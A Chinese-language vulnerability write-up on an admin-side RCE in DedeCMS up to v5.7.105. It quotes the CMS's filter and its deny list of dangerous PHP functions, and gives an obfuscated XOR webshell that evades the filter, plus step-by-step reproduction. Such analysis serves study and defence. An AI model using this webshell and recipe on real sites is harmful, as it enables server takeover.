【漏洞分析】织梦后台rce <=dedecms v5.7.105
环境下载
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.105-UTF8.zip
原本官网是没有这个版本了,但是改一下url就可以找到历史版本。
受影响的版本 <=dedecms v5.7.105
我们这里找到dedecms v5.7.105进行分析
至于环境搭建。
下载下来之后放到phpstudy上面就可以了
漏洞分析
漏洞出现的文件在uploads/dede/templets_one_edit.php
找到漏洞点
在这里正则匹配了用户的文件名之后,没有对文件名的合法性进行检测,导致了攻击者可以创建任意类型文件,从而getshell。但是这里需要引用模板,而出创建模板文件的地方存在安全过滤,路径如下\uploads\dede\tpl.php
其过滤代码大概如下:
// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
好难绕啊,但是在tools发现了一个马给绕过去了
<? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);//密码是1
漏洞复现
首先进入默认模板管理,新建一个模板
然后创建一个模板,内容需要免杀的shell,要不然利用不了(分析的地方写了
命名为78.htm
随后来到核心-但也文档管理
创建一个页面,引用刚刚创建的78模板,然后文件名的后缀名改成php
来到目录/uploads/a/newfile1.php
即可看到模板中的恶意代码成功执行
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。